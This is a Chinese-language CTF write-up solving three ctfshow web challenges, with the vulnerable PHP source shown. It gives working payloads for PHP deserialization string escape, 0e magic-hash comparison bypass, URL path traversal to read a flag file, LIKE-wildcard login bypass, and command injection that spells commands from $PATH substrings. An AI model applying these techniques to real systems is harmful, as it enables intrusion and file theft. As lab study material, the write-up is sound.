此夜圆
下载查看源码
<?php error_reporting(0); class a { public $uname; public $password; public function __construct($uname,$password) { $this->uname=$uname; $this->password=$password; } public function __wakeup() { if($this->password==='yu22x') { include('flag.php'); echo $flag; } else { echo 'wrong password'; } } } function filter($string){ return str_replace('Firebasky','Firebaskyup',$string); } $uname=$_GET[1]; $password=1; $ser=filter(serialize(new a($uname,$password))); $test=unserialize($ser); ?>
貌似是要让password等于yu22x
但是password固定是1了,这里可以发现有个过滤会把Firebasky替换成Firebaskyup,虽然这个单词意义不明,但是重要的是长度发生了变化,可以借此绕过。
传入:
FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
即可,原理是替换后长度增加,但是序列化后的数字没变,会导致提前闭合,把我们传入的字符串当作序列化的一部分。
故人心
<?php error_reporting(0); highlight_file(__FILE__); $a=$_GET['a']; $b=$_GET['b']; $c=$_GET['c']; $url[1]=$_POST['url']; if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){ $d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c))); if($d){ highlight_file('hint.php'); if(filter_var($url[1],FILTER_VALIDATE_URL)){ $host=parse_url($url[1]); print_r($host); if(preg_match('/ctfshow\.com$/',$host['host'])){ print_r(file_get_contents($url[1])); }else{ echo '差点点就成功了!'; } }else{ echo 'please give me url!!!'; } }else{ echo '想一想md5碰撞原理吧?!'; } }else{ echo '第一个都过不了还想要flag呀?!'; } 第一个都过不了还想要flag呀?!
第一关,前面三个好实现,第三个平方为0,但是和前面不为0 矛盾。
其实玩过计算器啥的知道小数够小会当作0的。这里输入a=1e-200即可
第二关是满足hash2和自身相等,和hash2的hash2和自身相等的两个数字
这里利用PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。即如果md的值是以0e开头的,那么就与其他的0e开头的Md5值是相等的。
这里再robots里有提示,爆破即可,这里直接给出答案:b=0e652024452,c=0e603448399。
可以看出告诉你flag在根目录下了
if(filter_var($url[1],FILTER_VALIDATE_URL)){ $host=parse_url($url[1]); print_r($host); if(preg_match('/ctfshow\.com$/',$host['host'])){ print_r(file_get_contents($url[1])); }
这里要求传入参数是url格式,同时含有ctfshow.com就会文件读取。但是我们要读取本地文件
这里利用php中,在向目标请求时先会判断使用的协议。如果协议无法识别,就会认为它是个目录。
我们随便写个协议test://,加上ctfshow.com它会认为是目录,最后目录穿越即可
url=test://ctfshow.com/../../../../../../fl0g.txt
莫负婵娟
查看前端代码
可以发现sql语句,这里开始犯傻了,后面反应过来了这是like模糊匹配,我们直接用通配符就行了
% 表示零个或多个字符的任意字符串 _(下划线)表示任何单个字符 [ ] 表示指定范围 ([a-f]) 或集合 ([abcdef]) 中的任何单个字符 [^] 不属于指定范围 ([a-f]) 或集合 ([abcdef]) 的任何单个字符 * 它同于DOS命令中的通配符,代表多个字符 ?同于DOS命令中的?通配符,代表单个字符 # 大致同上,不同的是代只能代表单个数字
试了发现_没过滤
账号5个下划线,密码32个下划线
发现登入进去貌似没啥用
这里发现账号给你了yu22x,通过一位一位的跑,可以知道密码是67815b0c009ee970fe4014abaa3Fa6A0
用账号密码登入后,发现ip输入框
这里大概率是命令执行,测试一下发现小写字母全被过滤。大写字母、数字、$
、:
没被过滤。
这里用环境变量构造ls
linux中输入echo $path
${PATH:5:1}就是第五个(0开始)去一位就是l
同理构造 ${PATH:14:1}${PATH:5:1} ????.???
就是nl flag.php 符合????.???就这一个